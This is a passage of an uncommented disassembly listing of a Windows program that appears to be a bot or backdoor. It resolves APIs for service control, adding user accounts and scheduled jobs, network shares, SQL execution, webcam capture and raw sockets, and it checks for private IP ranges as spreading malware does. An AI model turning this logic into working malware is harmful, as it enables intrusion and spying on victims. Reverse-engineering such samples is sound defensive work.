XREF: sub_409D10+34Bj push offset aOpenscmanagera ; "OpenSCManagerA" push edi call esi ; sub_50B076 push offset aOpenservicea ; "OpenServiceA" push edi mov ds:dword_4E2FBC, eax call esi ; sub_50B076 push offset aStartservicea ; "StartServiceA" push edi mov ds:dword_4E2EA4, eax call esi ; sub_50B076 push offset aControlservice ; "ControlService" push edi mov ds:dword_4E2EAC, eax call esi ; sub_50B076 push offset aDeleteservice ; "DeleteService" push edi mov ds:dword_4E2F10, eax call esi ; sub_50B076 push offset aCloseserviceha ; "CloseServiceHandle" push edi mov ds:dword_4E2F14, eax call esi ; sub_50B076 push offset aEnumservicesst ; "EnumServicesStatusA" push edi mov ds:dword_4E2EC0, eax call esi ; sub_50B076 push offset aIsvalidsecurit ; "IsValidSecurityDescriptor" push edi mov ds:dword_4E2F88, eax call esi ; sub_50B076 cmp ds:dword_4E2FBC, ebx mov ds:dword_4E2EB0, eax jz short loc_40A10B cmp ds:dword_4E2EA4, ebx jz short loc_40A10B cmp ds:dword_4E2EAC, ebx jz short loc_40A10B cmp ds:dword_4E2F10, ebx jz short loc_40A10B cmp ds:dword_4E2F14, ebx jz short loc_40A10B cmp ds:dword_4E2EC0, ebx jz short loc_40A10B cmp ds:dword_4E2F88, ebx jz short loc_40A10B cmp eax, ebx jnz short loc_40A115 loc_40A10B: ; CODE XREF: sub_409D10+3C5j ; sub_409D10+3CDj ... mov ds:dword_4E3094, 1 loc_40A115: ; CODE XREF: sub_409D10+3F9j push offset aGetusernamea ; "GetUserNameA" push edi call esi ; sub_50B076 cmp eax, ebx mov ds:dword_4E2EA8, eax jnz short loc_40A13D jmp short loc_40A133 ; --------------------------------------------------------------------------- loc_40A128: ; CODE XREF: sub_409D10+26Aj call ds:dword_4F5360 ; RtlGetLastWin32Error mov ds:dword_4E3098, eax loc_40A133: ; CODE XREF: sub_409D10+416j mov ds:dword_4E3094, 1 loc_40A13D: ; CODE XREF: sub_409D10+414j push offset aGdi32_dll ; "gdi32.dll" call ebp ; sub_50AF8C mov edi, eax cmp edi, ebx jz loc_40A209 push offset aCreatedca ; "CreateDCA" push edi call esi ; sub_50B076 push offset aCreatedibsecti ; "CreateDIBSection" push edi mov ds:dword_4E2FB4, eax call esi ; sub_50B076 push offset aCreatecompatib ; "CreateCompatibleDC" push edi mov ds:dword_4E300C, eax call esi ; sub_50B076 push offset aGetdevicecaps ; "GetDeviceCaps" push edi mov ds:dword_4E3014, eax call esi ; sub_50B076 push offset aGetdibcolortab ; "GetDIBColorTable" push edi mov ds:dword_4E2FD0, eax call esi ; sub_50B076 push offset aSelectobject ; "SelectObject" push edi mov ds:dword_4E2EEC, eax call esi ; sub_50B076 push offset aBitblt ; "BitBlt" push edi mov ds:dword_4E2E98, eax call esi ; sub_50B076 push offset aDeletedc ; "DeleteDC" push edi mov ds:dword_4E3010, eax call esi ; sub_50B076 push offset aDeleteobject ; "DeleteObject" push edi mov ds:dword_4E2E84, eax call esi ; sub_50B076 cmp ds:dword_4E2FB4, ebx mov ds:dword_4E2F24, eax jz short loc_40A214 cmp ds:dword_4E300C, ebx jz short loc_40A214 cmp ds:dword_4E3014, ebx jz short loc_40A214 cmp ds:dword_4E2FD0, ebx jz short loc_40A214 cmp ds:dword_4E2EEC, ebx jz short loc_40A214 cmp ds:dword_4E2E98, ebx jz short loc_40A214 cmp ds:dword_4E3010, ebx jz short loc_40A214 cmp ds:dword_4E2E84, ebx jz short loc_40A214 cmp eax, ebx jnz short loc_40A21E jmp short loc_40A214 ; --------------------------------------------------------------------------- loc_40A209: ; CODE XREF: sub_409D10+438j call ds:dword_4F5360 ; RtlGetLastWin32Error mov ds:dword_4E30A0, eax loc_40A214: ; CODE XREF: sub_409D10+4B9j ; sub_409D10+4C1j ... mov ds:dword_4E309C, 1 loc_40A21E: ; CODE XREF: sub_409D10+4F5j mov ebp, ds:off_4F538C push offset aWs2_32_dll ; "ws2_32.dll" call ebp ; sub_50AE83 mov edi, eax cmp edi, ebx jz loc_40A4DA push offset aWsastartup ; "WSAStartup" push edi call esi ; sub_50B076 push offset aWsasocketa ; "WSASocketA" push edi mov ds:dword_4E2F38, eax call esi ; sub_50B076 push offset aWsaasyncselect ; "WSAAsyncSelect" push edi mov ds:dword_4E306C, eax call esi ; sub_50B076 push offset a__wsafdisset ; "__WSAFDIsSet" push edi mov ds:dword_4E2ED8, eax call esi ; sub_50B076 push offset aWsaioctl ; "WSAIoctl" push edi mov ds:dword_4E2EB4, eax call esi ; sub_50B076 push offset aWsagetlasterro ; "WSAGetLastError" push edi mov ds:dword_4E2F74, eax call esi ; sub_50B076 push offset aWsacleanup ; "WSACleanup" push edi mov ds:dword_4E2F5C, eax call esi ; sub_50B076 push offset aSocket ; "socket" push edi mov ds:dword_4E2F20, eax call esi ; sub_50B076 push offset aIoctlsocket ; "ioctlsocket" push edi mov ds:dword_4E3048, eax call esi ; sub_50B076 push offset aConnect ; "connect" push edi mov ds:dword_4E3064, eax call esi ; sub_50B076 push offset aInet_ntoa ; "inet_ntoa" push edi mov ds:dword_4E2F70, eax call esi ; sub_50B076 push offset aInet_addr ; "inet_addr" push edi mov ds:dword_4E3054, eax call esi ; sub_50B076 push offset aHtons ; "htons" push edi mov ds:dword_4E3008, eax call esi ; sub_50B076 push offset aHtonl ; "htonl" push edi mov ds:dword_4E2FC8, eax call esi ; sub_50B076 push offset aNtohs ; "ntohs" push edi mov ds:dword_4E2FC4, eax call esi ; sub_50B076 push offset aNtohl ; "ntohl" push edi mov ds:dword_4E2EF8, eax call esi ; sub_50B076 push offset aSend_0 ; "send" push edi mov ds:dword_4E2EF0, eax call esi ; sub_50B076 push offset aSendto ; "sendto" push edi mov ds:dword_4E3018, eax call esi ; sub_50B076 push offset aRecv ; "recv" push edi mov ds:dword_4E302C, eax call esi ; sub_50B076 push offset aRecvfrom ; "recvfrom" push edi mov ds:dword_4E2FE0, eax call esi ; sub_50B076 mov ds:dword_4E2FA0, eax push offset aBind ; "bind" push edi call esi ; sub_50B076 push offset aSelect ; "select" push edi mov ds:dword_4E2FF4, eax call esi ; sub_50B076 push offset aListen ; "listen" push edi mov ds:dword_4E2FB0, eax call esi ; sub_50B076 push offset aAccept ; "accept" push edi mov ds:dword_4E2FF0, eax call esi ; sub_50B076 push offset aSetsockopt ; "setsockopt" push edi mov ds:dword_4E305C, eax call esi ; sub_50B076 push offset aGetsockname ; "getsockname" push edi mov ds:dword_4E2FA8, eax call esi ; sub_50B076 push offset aGethostname ; "gethostname" push edi mov ds:dword_4E2F6C, eax call esi ; sub_50B076 push offset aGethostbyname ; "gethostbyname" push edi mov ds:dword_4E2FDC, eax call esi ; sub_50B076 push offset aGethostbyaddr ; "gethostbyaddr" push edi mov ds:dword_4E304C, eax call esi ; sub_50B076 push offset aGetpeername ; "getpeername" push edi mov ds:dword_4E2F80, eax call esi ; sub_50B076 push offset aClosesocket ; "closesocket" push edi mov ds:dword_4E2F1C, eax call esi ; sub_50B076 cmp ds:dword_4E2F38, ebx mov ds:dword_4E3060, eax jz loc_40A4E5 cmp ds:dword_4E306C, ebx jz loc_40A4E5 cmp ds:dword_4E2ED8, ebx jz loc_40A4E5 cmp ds:dword_4E2F74, ebx jz loc_40A4E5 cmp ds:dword_4E2F5C, ebx jz loc_40A4E5 cmp ds:dword_4E2F20, ebx jz loc_40A4E5 cmp ds:dword_4E3048, ebx jz loc_40A4E5 cmp ds:dword_4E3064, ebx jz loc_40A4E5 cmp ds:dword_4E2F70, ebx jz loc_40A4E5 cmp ds:dword_4E3054, ebx jz loc_40A4E5 cmp ds:dword_4E3008, ebx jz loc_40A4E5 cmp ds:dword_4E2FC8, ebx jz loc_40A4E5 cmp ds:dword_4E2FC4, ebx jz loc_40A4E5 cmp ds:dword_4E2EF8, ebx jz short loc_40A4E5 cmp ds:dword_4E3018, ebx jz short loc_40A4E5 cmp ds:dword_4E302C, ebx jz short loc_40A4E5 cmp ds:dword_4E2FE0, ebx jz short loc_40A4E5 cmp ds:dword_4E2FA0, ebx jz short loc_40A4E5 cmp ds:dword_4E2FF4, ebx jz short loc_40A4E5 cmp ds:dword_4E2FB0, ebx jz short loc_40A4E5 cmp ds:dword_4E2FF0, ebx jz short loc_40A4E5 cmp ds:dword_4E305C, ebx jz short loc_40A4E5 cmp ds:dword_4E2FA8, ebx jz short loc_40A4E5 cmp ds:dword_4E2F6C, ebx jz short loc_40A4E5 cmp ds:dword_4E2FDC, ebx jz short loc_40A4E5 cmp ds:dword_4E304C, ebx jz short loc_40A4E5 cmp ds:dword_4E2F80, ebx jz short loc_40A4E5 cmp eax, ebx jnz short loc_40A4EF jmp short loc_40A4E5 ; --------------------------------------------------------------------------- loc_40A4DA: ; CODE XREF: sub_409D10+51Fj call ds:dword_4F5360 ; RtlGetLastWin32Error mov ds:dword_4E30A8, eax loc_40A4E5: ; CODE XREF: sub_409D10+6BEj ; sub_409D10+6CAj ... mov ds:dword_4E30A4, 1 loc_40A4EF: ; CODE XREF: sub_409D10+7C6j push offset aWininet_dll ; "wininet.dll" call ebp ; sub_50AE83 mov edi, eax cmp edi, ebx jz loc_40A5F4 push offset aInternetgetcon ; "InternetGetConnectedState" push edi call esi ; sub_50B076 push offset aInternetgetc_0 ; "InternetGetConnectedStateEx" push edi mov ds:dword_4E2F04, eax call esi ; sub_50B076 push offset aHttpopenreques ; "HttpOpenRequestA" push edi mov ds:dword_4E2E8C, eax call esi ; sub_50B076 push offset aHttpsendreques ; "HttpSendRequestA" push edi mov ds:dword_4E2F90, eax call esi ; sub_50B076 push offset aInternetconnec ; "InternetConnectA" push edi mov ds:dword_4E2F3C, eax call esi ; sub_50B076 push offset aInternetopena ; "InternetOpenA" push edi mov ds:dword_4E2F9C, eax call esi ; sub_50B076 push offset aInternetopenur ; "InternetOpenUrlA" push edi mov ds:dword_4E2F60, eax call esi ; sub_50B076 push offset aInternetcracku ; "InternetCrackUrlA" push edi mov ds:dword_4E2ECC, eax call esi ; sub_50B076 push offset aInternetreadfi ; "InternetReadFile" push edi mov ds:dword_4E2EC4, eax call esi ; sub_50B076 push offset aInternetcloseh ; "InternetCloseHandle" push edi mov ds:dword_4E2ED4, eax call esi ; sub_50B076 cmp ds:dword_4E2F04, ebx mov ecx, ds:dword_4E2F60 mov ds:dword_4E2FFC, eax jz short loc_40A5D0 cmp ds:dword_4E2E8C, ebx jz short loc_40A5D0 cmp ds:dword_4E2F90, ebx jz short loc_40A5D0 cmp ds:dword_4E2F3C, ebx jz short loc_40A5D0 cmp ds:dword_4E2F9C, ebx jz short loc_40A5D0 cmp ecx, ebx jz short loc_40A5D0 cmp ds:dword_4E2ECC, ebx jz short loc_40A5D0 cmp ds:dword_4E2EC4, ebx jz short loc_40A5D0 cmp ds:dword_4E2ED4, ebx jz short loc_40A5D0 cmp eax, ebx jnz short loc_40A5DA loc_40A5D0: ; CODE XREF: sub_409D10+87Ej ; sub_409D10+886j ... mov ds:dword_4E30AC, 1 loc_40A5DA: ; CODE XREF: sub_409D10+8BEj cmp ecx, ebx jz short loc_40A60F push ebx push ebx push ebx push ebx push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)" call ecx ; InternetOpenA cmp eax, ebx mov ds:dword_4E2F78, eax jnz short loc_40A60F jmp short loc_40A609 ; --------------------------------------------------------------------------- loc_40A5F4: ; CODE XREF: sub_409D10+7EAj call ds:dword_4F5360 ; RtlGetLastWin32Error mov ds:dword_4E30B0, eax mov ds:dword_4E30AC, 1 loc_40A609: ; CODE XREF: sub_409D10+8E2j mov ds:dword_4E2F78, ebx loc_40A60F: ; CODE XREF: sub_409D10+8CCj ; sub_409D10+8E0j push offset aIcmp_dll ; "icmp.dll" call ebp ; sub_50AE83 mov edi, eax cmp edi, ebx jz short loc_40A659 push offset aIcmpcreatefile ; "IcmpCreateFile" push edi call esi ; sub_50B076 push offset aIcmpclosehandl ; "IcmpCloseHandle" push edi mov ds:dword_4E2F50, eax call esi ; sub_50B076 push offset aIcmpsendecho ; "IcmpSendEcho" push edi mov ds:dword_4E307C, eax call esi ; sub_50B076 cmp ds:dword_4E2F50, ebx mov ds:dword_4E2EE0, eax jz short loc_40A664 cmp ds:dword_4E307C, ebx jz short loc_40A664 cmp eax, ebx jnz short loc_40A66E jmp short loc_40A664 ; --------------------------------------------------------------------------- loc_40A659: ; CODE XREF: sub_409D10+90Aj call ds:dword_4F5360 ; RtlGetLastWin32Error mov ds:dword_4E30B8, eax loc_40A664: ; CODE XREF: sub_409D10+939j ; sub_409D10+941j ... mov ds:dword_4E30B4, 1 loc_40A66E: ; CODE XREF: sub_409D10+945j push offset aNetapi32_dll ; "netapi32.dll" call ebp ; sub_50AE83 mov edi, eax cmp edi, ebx jz loc_40A775 push offset aNetshareadd ; "NetShareAdd" push edi call esi ; sub_50B076 push offset aNetsharedel ; "NetShareDel" push edi mov ds:dword_4E2EBC, eax call esi ; sub_50B076 push offset aNetshareenum ; "NetShareEnum" push edi mov ds:dword_4E2E94, eax call esi ; sub_50B076 push offset aNetschedulejob ; "NetScheduleJobAdd" push edi mov ds:dword_4E2F0C, eax call esi ; sub_50B076 push offset aNetapibufferfr ; "NetApiBufferFree" push edi mov ds:dword_4E2F40, eax call esi ; sub_50B076 push offset aNetremotetod ; "NetRemoteTOD" push edi mov ds:dword_4E3058, eax call esi ; sub_50B076 push offset aNetuseradd ; "NetUserAdd" push edi mov ds:dword_4E2EF4, eax call esi ; sub_50B076 push offset aNetuserdel ; "NetUserDel" push edi mov ds:dword_4E2EA0, eax call esi ; sub_50B076 push offset aNetuserenum ; "NetUserEnum" push edi mov ds:dword_4E2E90, eax call esi ; sub_50B076 push offset aNetusergetinfo ; "NetUserGetInfo" push edi mov ds:dword_4E2F28, eax call esi ; sub_50B076 push offset aNetmessagebuff ; "NetMessageBufferSend" push edi mov ds:dword_4E3020, eax call esi ; sub_50B076 push offset aNetwkstagetinf ; "NetWkstaGetInfo" push edi mov ds:dword_4E2FD8, eax call esi ; sub_50B076 cmp ds:dword_4E2EBC, ebx mov ds:dword_4E2EFC, eax jz short loc_40A780 cmp ds:dword_4E2E94, ebx jz short loc_40A780 cmp ds:dword_4E2F0C, ebx jz short loc_40A780 cmp ds:dword_4E2F40, ebx jz short loc_40A780 cmp ds:dword_4E3058, ebx jz short loc_40A780 cmp ds:dword_4E2EF4, ebx jz short loc_40A780 cmp ds:dword_4E2EA0, ebx jz short loc_40A780 cmp ds:dword_4E2E90, ebx jz short loc_40A780 cmp ds:dword_4E2F28, ebx jz short loc_40A780 cmp ds:dword_4E3020, ebx jz short loc_40A780 cmp ds:dword_4E2FD8, ebx jnz short loc_40A78A jmp short loc_40A780 ; --------------------------------------------------------------------------- loc_40A775: ; CODE XREF: sub_409D10+969j call ds:dword_4F5360 ; RtlGetLastWin32Error mov ds:dword_4E30C0, eax loc_40A780: ; CODE XREF: sub_409D10+A11j ; sub_409D10+A19j ... mov ds:dword_4E30BC, 1 loc_40A78A: ; CODE XREF: sub_409D10+A61j push offset aDnsapi_dll ; "dnsapi.dll" call ebp ; sub_50AE83 mov edi, eax cmp edi, ebx jz short loc_40A7BF push offset aDnsflushresolv ; "DnsFlushResolverCache" push edi call esi ; sub_50B076 push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A" push edi mov ds:dword_4E2EE4, eax call esi ; sub_50B076 cmp ds:dword_4E2EE4, ebx mov ds:dword_4E2FC0, eax jz short loc_40A7CA cmp eax, ebx jnz short loc_40A7D4 jmp short loc_40A7CA ; --------------------------------------------------------------------------- loc_40A7BF: ; CODE XREF: sub_409D10+A85j call ds:dword_4F5360 ; RtlGetLastWin32Error mov ds:dword_4E30C8, eax loc_40A7CA: ; CODE XREF: sub_409D10+AA7j ; sub_409D10+AADj mov ds:dword_4E30C4, 1 loc_40A7D4: ; CODE XREF: sub_409D10+AABj push offset aIphlpapi_dll ; "iphlpapi.dll" call ebp ; sub_50AE83 mov edi, eax cmp edi, ebx jz short loc_40A809 push offset aGetipnettable ; "GetIpNetTable" push edi call esi ; sub_50B076 push offset aDeleteipnetent ; "DeleteIpNetEntry" push edi mov ds:dword_4E3044, eax call esi ; sub_50B076 cmp ds:dword_4E3044, ebx mov ds:dword_4E3040, eax jz short loc_40A814 cmp eax, ebx jnz short loc_40A81E jmp short loc_40A814 ; --------------------------------------------------------------------------- loc_40A809: ; CODE XREF: sub_409D10+ACFj call ds:dword_4F5360 ; RtlGetLastWin32Error mov ds:dword_4E30D0, eax loc_40A814: ; CODE XREF: sub_409D10+AF1j ; sub_409D10+AF7j mov ds:dword_4E30CC, 1 loc_40A81E: ; CODE XREF: sub_409D10+AF5j push offset aMpr_dll ; "mpr.dll" call ebp ; sub_50AE83 mov edi, eax cmp edi, ebx jz short loc_40A87D push offset aWnetaddconnect ; "WNetAddConnection2A" push edi call esi ; sub_50B076 push offset aWnetaddconne_0 ; "WNetAddConnection2W" push edi mov ds:dword_4E3070, eax call esi ; sub_50B076 push offset aWnetcancelconn ; "WNetCancelConnection2A" push edi mov ds:dword_4E3068, eax call esi ; sub_50B076 push offset aWnetcancelco_0 ; "WNetCancelConnection2W" push edi mov ds:dword_4E3030, eax call esi ; sub_50B076 cmp ds:dword_4E3070, ebx mov ds:dword_4E2F00, eax jz short loc_40A888 cmp ds:dword_4E3068, ebx jz short loc_40A888 cmp ds:dword_4E3030, ebx jz short loc_40A888 cmp eax, ebx jnz short loc_40A892 jmp short loc_40A888 ; --------------------------------------------------------------------------- loc_40A87D: ; CODE XREF: sub_409D10+B19j call ds:dword_4F5360 ; RtlGetLastWin32Error mov ds:dword_4E30D8, eax loc_40A888: ; CODE XREF: sub_409D10+B55j ; sub_409D10+B5Dj ... mov ds:dword_4E30D4, 1 loc_40A892: ; CODE XREF: sub_409D10+B69j push offset aShell32_dll ; "shell32.dll" call ebp ; sub_50AE83 mov edi, eax cmp edi, ebx jz short loc_40A8C7 push offset aShellexecutea ; "ShellExecuteA" push edi call esi ; sub_50B076 push offset aShchangenotify ; "SHChangeNotify" push edi mov ds:dword_4E2F34, eax call esi ; sub_50B076 cmp ds:dword_4E2F34, ebx mov ds:dword_4E303C, eax jz short loc_40A8D2 cmp eax, ebx jnz short loc_40A8DC jmp short loc_40A8D2 ; --------------------------------------------------------------------------- loc_40A8C7: ; CODE XREF: sub_409D10+B8Dj call ds:dword_4F5360 ; RtlGetLastWin32Error mov ds:dword_4E30E0, eax loc_40A8D2: ; CODE XREF: sub_409D10+BAFj ; sub_409D10+BB5j mov ds:dword_4E30DC, 1 loc_40A8DC: ; CODE XREF: sub_409D10+BB3j push offset aOdbc32_dll ; "odbc32.dll" call ebp ; sub_50AE83 mov edi, eax cmp edi, ebx jz short loc_40A965 push offset aSqldriverconne ; "SQLDriverConnect" push edi call esi ; sub_50B076 push offset aSqlsetenvattr ; "SQLSetEnvAttr" push edi mov ds:dword_4E3004, eax call esi ; sub_50B076 push offset aSqlexecdirect ; "SQLExecDirect" push edi mov ds:dword_4E3050, eax call esi ; sub_50B076 push offset aSqlallochandle ; "SQLAllocHandle" push edi mov ds:dword_4E2F8C, eax call esi ; sub_50B076 push offset aSqlfreehandle ; "SQLFreeHandle" push edi mov ds:dword_4E2F44, eax call esi ; sub_50B076 push offset aSqldisconnect ; "SQLDisconnect" push edi mov ds:dword_4E2FE4, eax call esi ; sub_50B076 cmp ds:dword_4E3004, ebx mov ds:dword_4E2F54, eax jz short loc_40A970 cmp ds:dword_4E3050, ebx jz short loc_40A970 cmp ds:dword_4E2F8C, ebx jz short loc_40A970 cmp ds:dword_4E2F44, ebx jz short loc_40A970 cmp ds:dword_4E2FE4, ebx jz short loc_40A970 cmp eax, ebx jnz short loc_40A97A jmp short loc_40A970 ; --------------------------------------------------------------------------- loc_40A965: ; CODE XREF: sub_409D10+BD7j call ds:dword_4F5360 ; RtlGetLastWin32Error mov ds:dword_4E30E8, eax loc_40A970: ; CODE XREF: sub_409D10+C2Dj ; sub_409D10+C35j ... mov ds:dword_4E30E4, 1 loc_40A97A: ; CODE XREF: sub_409D10+C51j push offset aAvicap32_dll ; "avicap32.dll" call ebp ; sub_50AE83 mov edi, eax cmp edi, ebx jz short loc_40A9AF push offset aCapcreatecaptu ; "capCreateCaptureWindowA" push edi call esi ; sub_50B076 push offset aCapgetdriverde ; "capGetDriverDescriptionA" push edi mov ds:dword_4E2F18, eax call esi ; sub_50B076 cmp ds:dword_4E2F18, ebx mov ds:dword_4E2FF8, eax jz short loc_40A9BA cmp eax, ebx jnz short loc_40A9C4 jmp short loc_40A9BA ; --------------------------------------------------------------------------- loc_40A9AF: ; CODE XREF: sub_409D10+C75j call ds:dword_4F5360 ; RtlGetLastWin32Error mov ds:dword_4E30F0, eax loc_40A9BA: ; CODE XREF: sub_409D10+C97j ; sub_409D10+C9Dj mov ds:dword_4E30EC, 1 loc_40A9C4: ; CODE XREF: sub_409D10+C9Bj pop edi xor eax, eax pop esi pop ebp inc eax pop ebx retn sub_409D10 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A9CC proc near ; CODE XREF: sub_401C87+24F0p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push ebx mov ebx, [ebp+arg_4] push esi xor esi, esi cmp ds:dword_4E3084, esi push edi mov edi, [ebp+arg_8] jz short loc_40AA14 push ds:dword_4E3088 lea eax, [ebp+var_200] push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>" push eax call sub_41EA60 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409C75 add esp, 20h loc_40AA14: ; CODE XREF: sub_40A9CC+1Aj cmp ds:dword_4E308C, esi jz short loc_40AA48 push ds:dword_4E3090 lea eax, [ebp+var_200] push offset aUser32_dllFail ; "User32.dll failed. <%d>" push eax call sub_41EA60 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409C75 add esp, 20h loc_40AA48: ; CODE XREF: sub_40A9CC+4Ej cmp ds:dword_4E3094, esi jz short loc_40AA7C push ds:dword_4E3098 lea eax, [ebp+var_200] push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>" push eax call sub_41EA60 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409C75 add esp, 20h loc_40AA7C: ; CODE XREF: sub_40A9CC+82j cmp ds:dword_4E309C, esi jz short loc_40AAB0 push ds:dword_4E30A0 lea eax, [ebp+var_200] push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>" push eax call sub_41EA60 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409C75 add esp, 20h loc_40AAB0: ; CODE XREF: sub_40A9CC+B6j cmp ds:dword_4E30A4, esi jz short loc_40AAE4 push ds:dword_4E30A8 lea eax, [ebp+var_200] push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>" push eax call sub_41EA60 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409C75 add esp, 20h loc_40AAE4: ; CODE XREF: sub_40A9CC+EAj cmp ds:dword_4E30AC, esi jz short loc_40AB18 push ds:dword_4E30B0 lea eax, [ebp+var_200] push offset aWininet_dllFai ; "Wininet.dll failed. <%d>" push eax call sub_41EA60 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409C75 add esp, 20h loc_40AB18: ; CODE XREF: sub_40A9CC+11Ej cmp ds:dword_4E30B4, esi jz short loc_40AB4C push ds:dword_4E30B8 lea eax, [ebp+var_200] push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>" push eax call sub_41EA60 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409C75 add esp, 20h loc_40AB4C: ; CODE XREF: sub_40A9CC+152j cmp ds:dword_4E30BC, esi jz short loc_40AB80 push ds:dword_4E30C0 lea eax, [ebp+var_200] push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>" push eax call sub_41EA60 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409C75 add esp, 20h loc_40AB80: ; CODE XREF: sub_40A9CC+186j cmp ds:dword_4E30C4, esi jz short loc_40ABB4 push ds:dword_4E30C8 lea eax, [ebp+var_200] push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>" push eax call sub_41EA60 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409C75 add esp, 20h loc_40ABB4: ; CODE XREF: sub_40A9CC+1BAj cmp ds:dword_4E30CC, esi jz short loc_40ABE8 push ds:dword_4E30D0 lea eax, [ebp+var_200] push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>" push eax call sub_41EA60 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409C75 add esp, 20h loc_40ABE8: ; CODE XREF: sub_40A9CC+1EEj cmp ds:dword_4E30D4, esi jz short loc_40AC1C push ds:dword_4E30D8 lea eax, [ebp+var_200] push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>" push eax call sub_41EA60 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409C75 add esp, 20h loc_40AC1C: ; CODE XREF: sub_40A9CC+222j cmp ds:dword_4E30DC, esi jz short loc_40AC50 push ds:dword_4E30E0 lea eax, [ebp+var_200] push offset aShell32_dllFai ; "Shell32.dll failed. <%d>" push eax call sub_41EA60 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409C75 add esp, 20h loc_40AC50: ; CODE XREF: sub_40A9CC+256j cmp ds:dword_4E30E4, esi jz short loc_40AC84 push ds:dword_4E30E8 lea eax, [ebp+var_200] push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>" push eax call sub_41EA60 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409C75 add esp, 20h loc_40AC84: ; CODE XREF: sub_40A9CC+28Aj cmp ds:dword_4E30EC, esi jz short loc_40ACB8 push ds:dword_4E30F0 lea eax, [ebp+var_200] push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>" push eax call sub_41EA60 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409C75 add esp, 20h loc_40ACB8: ; CODE XREF: sub_40A9CC+2BEj lea eax, [ebp+var_200] push offset unk_4441FC push eax call sub_41EA60 cmp [ebp+arg_C], esi pop ecx pop ecx jnz short loc_40ACE5 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409C75 add esp, 14h loc_40ACE5: ; CODE XREF: sub_40A9CC+302j lea eax, [ebp+var_200] push eax call sub_415A3C pop ecx pop edi pop esi pop ebx leave retn sub_40A9CC endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 20h cmp dword ptr [ebp+8], 0 push esi jz loc_40AD8C push offset dword_4E3104 push dword ptr [ebp+8] call sub_41F7E0 pop ecx test eax, eax pop ecx jz short loc_40AD8C push 20h lea eax, [ebp-20h] push dword ptr [ebp+8] push eax call sub_41E510 lea eax, [ebp-20h] push offset a___1 ; ".." push eax call sub_41F870 add esp, 14h test eax, eax jz short loc_40AD8C push eax call sub_41E710 mov dword ptr [esp], (offset a___1+2) push 0 mov esi, eax call sub_41F870 pop ecx test eax, eax pop ecx jz short loc_40AD8C push eax call sub_41E710 cmp esi, 0Ah pop ecx jz short loc_40AD87 cmp esi, 0ACh jnz short loc_40AD78 cmp eax, 0Fh jle short loc_40AD8C cmp eax, 20h jl short loc_40AD87 loc_40AD78: ; CODE XREF: _0:0040AD6Cj cmp esi, 0C0h jnz short loc_40AD8C cmp eax, 0A8h jnz short loc_40AD8C loc_40AD87: ; CODE XREF: _0:0040AD64j _0:0040AD76j xor eax, eax inc eax jmp short loc_40AD8E ; --------------------------------------------------------------------------- loc_40AD8C: ; CODE XREF: _0:0040AD02j _0:0040AD19j ... xor eax, eax loc_40AD8E: ; CODE XREF: _0:0040AD8Aj pop esi leave retn ; =============== S U B R O U T I N E ======================================= sub_40AD91 proc near ; CODE XREF: sub_4019A5+4Fp ; sub_401C87+5D52p ... arg_0 = dword ptr 4 push [esp+arg_0] call ds:dword_4E3008 ; inet_addr cmp eax, 0FFFFFFFFh jnz short locret_40ADB9 push [esp+arg_0] call ds:dword_4E304C ; gethostbyname test eax, eax jnz short loc_40ADB2 or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_40ADB2: ; CODE XREF: sub_40AD91+1Bj mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] locret_40ADB9: ; CODE XREF: sub_40AD91+Dj retn sub_40AD91 endp ; =============== S U B R O U T I N E ======================================= sub_40ADBA proc near ; CODE XREF: sub_4019A5+D6p mov ecx, ds:dword_4E2EE4 xor eax, eax test ecx, ecx jz short locret_40ADC8 jmp ecx ; --------------------------------------------------------------------------- locret_40ADC8: ; CODE XREF: sub_40ADBA+Aj retn sub_40ADBA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40ADC9 proc near ; CODE XREF: sub_401C87:loc_4040CBp var_88 = byte ptr -88h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 88h push ebx xor ebx, ebx push esi inc ebx push edi lea eax, [ebp+var_8] xor edi, edi push ebx push eax push edi xor esi, esi mov [ebp+var_8], edi mov [ebp+var_4], ebx call ds:dword_4E3044 ; GetIpNetTable mov ecx, eax sub ecx, edi jz loc_40AE95 sub ecx, 32h jz loc_40AE8E sub ecx, 48h jz short loc_40AE29 sub ecx, 6Eh jz short loc_40AE22 push eax push offset unk_444220 